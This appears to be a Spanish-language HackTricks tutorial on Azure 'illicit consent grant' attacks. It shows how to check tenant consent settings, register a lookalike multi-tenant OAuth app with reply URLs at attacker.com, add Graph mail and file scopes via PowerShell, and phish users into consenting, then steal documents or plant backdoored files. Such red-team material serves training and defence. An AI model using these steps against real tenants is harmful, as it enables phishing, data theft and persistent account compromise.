Az - Illicit Consent Grant

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

OAuth App Phishing

Las aplicaciones de Azure piden permisos para acceder a los datos del usuario (información básica, pero también acceso a documentos, enviar correos electrónicos...). Si se permite, un usuario normal puede otorgar consentimiento solo para "permisos de bajo impacto". En todos los demás casos, se requiere consentimiento de administrador. GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permiso para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de inquilino.

Solo los permisos que no requieren consentimiento de administrador se clasifican como bajo impacto. Estos son los permisos requeridos para inicios de sesión básicos que son openid, profile, email, User.Read y offline_access. Si una organización permite el consentimiento del usuario para todas las aplicaciones, un empleado puede otorgar consentimiento a una aplicación para leer lo anterior de su perfil.

Por lo tanto, un atacante podría preparar una Aplicación maliciosa y con un phishing, hacer que el usuario acepte la Aplicación y robe sus datos.

2 Tipos de Ataques de Otorgamiento de Consentimiento Ilícito

• No autenticado: Desde una cuenta externa, crea una aplicación con los permisos User.Read y User.ReadBasic.All, por ejemplo, phishing a un usuario, y podrás acceder a la información del directorio.

• ¡Esto requiere que el usuario phished pueda aceptar aplicaciones OAuth de entornos externos!

• Autenticado: Habiendo comprometido un principal con suficientes privilegios, crea una aplicación dentro de la cuenta y phishing a algún usuario privilegiado que pueda aceptar permisos OAuth privilegiados.

• En este caso, ya puedes acceder a la información del directorio, por lo que el permiso User.ReadBasic.All ya no es interesante.

• Probablemente estés interesado en permisos que requieren que un administrador los otorgue, porque un usuario normal no puede dar ningún permiso a las aplicaciones OAuth, por eso necesitas phishing solo a esos usuarios (más sobre qué roles/permisos otorgan este privilegio más adelante)

Verificar si los usuarios pueden consentir

El siguiente comando de PowerShell se utiliza para verificar la configuración de consentimiento para los usuarios en Azure Active Directory (Azure AD) con respecto a su capacidad para consentir a aplicaciones:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

• Deshabilitar el consentimiento del usuario: Esta configuración prohíbe a los usuarios otorgar permisos a aplicaciones. No se permite el consentimiento del usuario a aplicaciones.

• Los usuarios pueden consentir a aplicaciones de editores verificados o de su organización, pero solo para los permisos que seleccione: Esta configuración permite a todos los usuarios consentir solo a aplicaciones que son publicadas por un editor verificado y aplicaciones registradas en su propio inquilino. Agrega una capa de control al permitir el consentimiento solo para permisos específicos.

• Los usuarios pueden consentir a todas las aplicaciones: Esta configuración es más permisiva y permite a todos los usuarios consentir a cualquier permiso para aplicaciones, siempre que esos permisos no requieran consentimiento administrativo.

• Política de consentimiento de aplicaciones personalizada: Esta configuración indica que hay una política personalizada en vigor, que puede adaptarse a requisitos organizacionales específicos y puede involucrar una combinación de restricciones basadas en el editor de la aplicación, los permisos que solicita la aplicación y otros factores.

Comprendiendo el Ataque de Consentimiento Ilícito

En un ataque de consentimiento ilícito, los atacantes engañan a los usuarios finales para que otorguen permisos a una aplicación maliciosa registrada en Azure. Esto se hace haciendo que la aplicación parezca legítima, llevando a las víctimas a hacer clic sin saber en un botón de "Aceptar". Como resultado, Azure AD emite un token al sitio del atacante, permitiéndoles acceder y manipular los datos de la víctima, como leer o enviar correos electrónicos y acceder a archivos, sin necesidad de una cuenta organizacional.

Descripción General del Flujo de Ataque

El ataque implica varios pasos dirigidos a una empresa genérica. Así es como podría desarrollarse:

1. Registro de Dominio y Alojamiento de Aplicaciones: El atacante registra un dominio que se asemeja a un sitio de confianza, por ejemplo, "safedomainlogin.com". Bajo este dominio, se crea un subdominio (por ejemplo, "companyname.safedomainlogin.com") para alojar una aplicación diseñada para capturar códigos de autorización y solicitar tokens de acceso.

2. Registro de Aplicación en Azure AD: El atacante luego registra una Aplicación Multi-Tenante en su Inquilino de Azure AD, nombrándola como la empresa objetivo para parecer legítima. Configuran la URL de Redirección de la aplicación para apuntar al subdominio que aloja la aplicación maliciosa.

3. Configuración de Permisos: El atacante configura la aplicación con varios permisos de API (por ejemplo, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Estos permisos, una vez otorgados por el usuario, permiten al atacante extraer información sensible en nombre del usuario.

4. Distribución de Enlaces Maliciosos: El atacante elabora un enlace que contiene el id del cliente de la aplicación maliciosa y lo comparte con usuarios específicos, engañándolos para que otorguen consentimiento.

Utilizando Herramientas para el Ataque

El ataque puede ser facilitado utilizando herramientas como 365-Stealer.

Preparación Pre-Ataque:

Si el atacante tiene algún nivel de acceso a un usuario en la organización víctima, podría verificar si la política de la organización permite al usuario aceptar aplicaciones:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[e-mail]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Para ejecutar el ataque, el atacante necesitaría crear una nueva aplicación en su inquilino de Azure (en Registros de aplicaciones), configurada con los permisos:

User.ReadBasic.All está dentro de Microsoft Graph en Permisos delegados. (Los permisos de aplicación siempre necesitarán aprobación adicional).

• User.ReadBasic.All es el permiso que te permitirá leer información de todos los usuarios en la organización si se concede.

• Recuerda que solo GA, ApplicationAdministrator, CloudApplication Administrator y un rol personalizado que incluya permiso para otorgar permisos a aplicaciones pueden proporcionar consentimiento a nivel de inquilino. Así que, deberías phishing a un usuario con uno de esos roles si quieres que apruebe una aplicación que requiere consentimiento de administrador.

También podrías crear una aplicación a través de cli con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Consulta https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender cómo configurarlo.

Ten en cuenta que el token de acceso obtenido será para el punto final de graph con los alcances: User.Read y User.ReadBasic.All (los permisos solicitados). No podrás realizar otras acciones (pero esos son suficientes para descargar información sobre todos los usuarios en la organización).

O365-Attack-Toolkit

También podrías usar esta herramienta para realizar este ataque.

Post-Explotación

Una vez que tengas acceso al usuario, puedes hacer cosas como robar documentos sensibles e incluso subir archivos de documentos con puerta trasera.

Referencias

• https://www.alteredsecurity.com/post/introduction-to-365-stealer

• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Consulta los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.